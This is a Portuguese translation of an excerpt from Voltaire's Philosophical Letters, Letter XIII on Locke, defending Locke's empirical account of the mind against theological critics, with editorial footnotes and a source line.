Cartas Filosóficas de Voltaire
CARTA XIII
Sobre Locke 7
Nunca houve, talvez, espírito mais sagaz, mais metódico, um lógico mais exacto do que Locke; não obstante, não era grande matemático. Nunca pudera submeter-se à fadiga dos cálculos nem à aridez das verdades matemáticas, que não apresentam, à primeira vista, nada de sensível ao espírito; e ninguém demonstrou melhor do que ele a possibilidade de possuir-se o senso geométrico sem recorrer-se à geometria. Antes de Locke, grandes filósofos tinham determinado com segurança o conteúdo da alma humana; mas como não a conheciam ao certo, era natural que fossem tão divergentes nas suas opiniões. . .
Tantos raciocinadores a fazerem o romance da alma, e vem um sábio, que, modestamente, lhe faz a história. Locke explicou ao homem a razão humana, como um anatomista explica os órgãos do corpo humano.
Faz-se valer em tudo das luzes da física; ousa, algumas vezes, falar afirmativamente, mas ousa também duvidar. Em lugar de definir logo o que não conhecemos, examina por graus o que desejamos conhecer. Toma uma criança recém–nascida, segue-lhe passo a passo o progresso do entendimento; vê o que ela possui de comum com os animais e o que possui acima deles; consulta, sobretudo, o próprio testemunho da criança, a consciência do seu pensamento.
"Deixo — diz ele — aos que sabem mais do que eu, discutir se nossa alma existe antes ou depois da organização do nosso corpo, mas confesso ter-me cabido em partilha uma dessas almas grosseiras que não pensam, e tenho mesmo a infelicidade de não conceber que seja mais necessário à alma pensar sempre do que ao corpo estar sempre em movimento".
… Locke, depois de haver destruído as chamadas ideias inatas e renunciado inteiramente à vaidade de acreditar que estamos sempre pensando; tendo perfeitamente estabelecido que todas as ideias nos vêm por intermédio dos sentidos; tendo examinado nossas ideias simples e as compostas, seguiu o espírito do homem em todas as operações, fez ver o quanto as línguas faladas pelos homens são imperfeitas e o abuso que fazemos dos termos a todo momento; veio, enfim, a considerar a extensão, ou antes, o nada dos conhecimentos humanos. Nesse capítulo, ousa avançar modestamente estas palavras: "nunca seremos, talvez, capazes de saber se um ser puramente material pensa ou não".
Tal afirmação pareceu a mais de um teólogo a declaração escandalosa de que a alma é material e mortal. Alguns ingleses, devotos à sua maneira, deram o alarma. Os supersticiosos são, na sociedade, o mesmo que os poltrões num exército: possuem e transmitem o terror pânico…
… Locke dizia com simplicidade a esses senhores: "confessai ao menos que sois tão ignorantes quanto eu; nem a vossa imaginação, nem a minha podem conceber como um corpo contém ideias. E compreendeis melhor como uma substância, tal como ela é, pode conter ideias? Se não concebeis nem a matéria, nem o espírito, como ousais assegurar alguma coisa no caso?"
O supersticioso vem por sua vez e diz ser preciso queimar, para o bem de suas almas, os que supõem ser possível pensar somente com o auxílio do corpo; mas que diriam se fossem eles próprios culpados de irreligião? Pois, na verdade, quem ousará assegurar, sem ser tachado de ímpio, ser impossível ao Criador dar à matéria pensamento e sentimento? Vede, peço-vos, a que condição embaraçosa vos reduzis limitando assim o poder do Criador. Os animais possuem os mesmos órgãos que nós, os mesmos sentimentos, as mesmas percepções; dispõem de memória, combinam algumas ideias. Se Deus não pode animar a matéria e dar-lhe sentimento, é preciso aceitar de duas uma: ou que os animais sejam puras máquinas, ou que possuam uma alma espiritual.
Parece-nos quase demonstrada a impossibilidade dos animais serem simples máquinas; eis aqui minha prova: Deus lhes deu órgãos de sentimento precisamente iguais aos nossos; portanto, se não sentem, Deus fez uma obra inútil; ora, Deus, segundo a vossa própria afirmação, não faz nada em vão; logo, não fabricou tantos órgãos de sentimento para quem não tem sentir; e os animais não são, absolutamente, puras máquinas.
Os animais, na vossa opinião, não podem ter uma alma espiritual; logo, mesmo contra a vossa vontade, não há outra coisa a dizer senão que Deus deu aos órgãos dos animais, que são matéria, a faculdade de sentir e de perceber, a que neles chamais instinto. E que pode impedir Deus de comunicar aos nossos órgãos mais delicados essa faculdade de sentir, de perceber e de pensar, a que chamamos razão humana?
Seja qual for o lado para o qual vos inclineis, sereis obrigados a confessar vossa ignorância e o poder imenso do Criador. Não vos revolteis, portanto, contra a sábia e modesta filosofia de Locke. Longe de ser contrária à religião, ela lhe serviria de prova, se a religião disso precisasse; pois, onde filosofia mais religiosa do que essa que, não afirmando senão o que concebe claramente, e sabendo confessar sua fraqueza, vos diz ser preciso recorrer a Deus, logo que se examinem os primeiros princípios? 8
7 Filósofo inglês (1632-1704), autor do Ensaio sobre o entendimento humano, em que, apoiando-se no método experimental, combateu o idealismo e o espiritualismo de Descartes. É o fundador da filosofia sensualista.
8 Esta carta, da qual estampamos aqui apenas um fragmento, foi uma das que mais concorreram para a condenação da referida obra de Voltaire.
Fonte: VOLTAIRE. Clássicos Jackson vol XXII. Tradução de Brito Broca.
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